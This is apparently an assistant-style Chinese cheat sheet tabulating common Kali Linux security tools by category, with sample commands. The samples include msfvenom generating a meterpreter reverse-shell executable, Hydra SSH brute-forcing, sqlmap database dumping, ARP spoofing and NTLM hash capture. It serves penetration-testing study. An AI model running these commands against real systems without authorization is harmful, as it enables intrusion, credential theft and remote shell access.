以下是 Kali Linux 常用工具的**分类表格**（基于官方 Kali 工具文档、2026 年最新常见分类和实际使用频率）。我挑选了每个类别下最经典/高频的 5-8 个工具，并附上简要说明 + 典型用法示例。 表格格式使用 Markdown，便于阅读和复制（如果你在终端或笔记工具中查看）。 | 类别 (Category) | 工具 (Tool) | 简要说明 (Description) | 常见用法示例 (Common Command Example) | |----------------------------------|--------------------------|-------------------------------------------------------------|----------------------------------------------------------------| | **信息收集**<br>Information Gathering | Nmap | 网络扫描器，发现主机、端口、服务、OS | `nmap -sV -O -p- target.com` | | | theHarvester | 收集邮箱、子域名、主机 | `theharvester -d example.com -b all` | | | Maltego | 图形化 OSINT 和关系分析 | 启动后新建 graph，运行 transforms | | | Recon-ng | 模块化 reconnaissance 框架 | `recon-ng` → `marketplace install all` → 用模块 | | | Amass / Subfinder | 子域名枚举 | `amass enum -d example.com` | | **漏洞分析**<br>Vulnerability Analysis | Nikto | Web 服务器漏洞扫描 | `nikto -h http://target.com` | | | OpenVAS / Greenbone | 完整漏洞扫描系统 | 浏览器访问 https://127.0.0.1:9392 创建任务 | | | Nuclei | 基于 YAML 的快速漏洞扫描器 | `nuclei -u target.com -t cves/` | | **Web 应用分析**<br>Web Application Analysis | Burp Suite | Web 代理、拦截、扫描、Intruder | 启动 → 配置代理 → Intercept / Repeater | | | sqlmap | 自动化 SQL 注入 exploitation | `sqlmap -u "http://target?id=1" --dbs --batch` | | | OWASP ZAP | 开源 Web 扫描器（类似 Burp） | 启动 → Automated Scan | | | FFUF / Gobuster | 目录/文件 fuzzing 和爆破 | `ffuf -u https://target/FUZZ -w wordlist.txt` | | | Wfuzz | Web fuzzing 工具 | `wfuzz -c -z file,wordlist.txt --hc 404 https://target/FUZZ` | | **密码攻击**<br>Password Attacks | Hashcat | GPU 高速密码破解 | `hashcat -m 0 -a 0 hash.txt rockyou.txt` | | | John the Ripper | CPU/GPU 密码破解 | `john hashes.txt --wordlist=rockyou.txt` | | | Hydra | 在线暴力破解（SSH、FTP 等） | `hydra -l admin -P rockyou.txt ssh://192.168.1.1` | | | Crunch | 自定义 wordlist 生成器 | `crunch 6 8 0123456789 -o numbers.txt` | | **无线攻击**<br>Wireless Attacks | Aircrack-ng 套件 | Wi-Fi 破解全家桶（监听、deauth、破解） | `airmon-ng start wlan0` → `airodump-ng` → `aircrack-ng` | | | Wifite | 自动化 Wi-Fi 攻击脚本 | `wifite` （自动扫描并攻击） | | | Airgeddon | 多功能 Wi-Fi 攻击自动化脚本 | `airgeddon` | | **利用框架**<br>Exploitation Tools | Metasploit Framework | 最强渗透测试框架（exploit + payload） | `msfconsole` → `use exploit/...` → `set RHOSTS` → `exploit` | | | msfvenom | 生成各种 payload | `msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe` | | **嗅探 & 欺骗**<br>Sniffing & Spoofing | Wireshark | 图形化抓包分析 | 选接口 → Start → 过滤如 `http` | | | tcpdump | 命令行抓包 | `tcpdump -i eth0 -w capture.pcap` | | | Bettercap | 现代 MITM 框架（ARP spoof、proxy 等） | `bettercap -iface eth0` → `net.probe on` → `arp.spoof on` | | | Ettercap | 经典 MITM 工具 | `ettercap -G` (图形界面) | | **后渗透 & 维持访问**<br>Post Exploitation | Empire / Covenant | PowerShell / .NET C2 框架 | 启动 Empire → listener → agent | | | Responder | LLMNR/NBT-NS 投毒，捕获 NTLM 哈希 | `responder -I eth0 -v` | | **取证**<br>Forensics | Autopsy | 图形化数字取证工具 | 启动 → 添加数据源 → 分析 | | | Volatility | 内存取证（分析 dump 文件） | `vol.py -f memdump.mem --profile=Win10x64 pslist` | **说明**： - 这个表格聚焦 **最实用** 的工具（约 40 个），覆盖 Kali 渗透测试流程的 90% 场景。 - 所有工具在 Kali 中基本预装或 `sudo apt install 工具名` 即可。 - 更多工具可查官方：https://www.kali.org/tools/ （有完整列表，按字母排序）。 - 用法只是入门示例，实际用时加 `-h` 查看帮助，或查 man page / 官方文档。
NEW_NPC
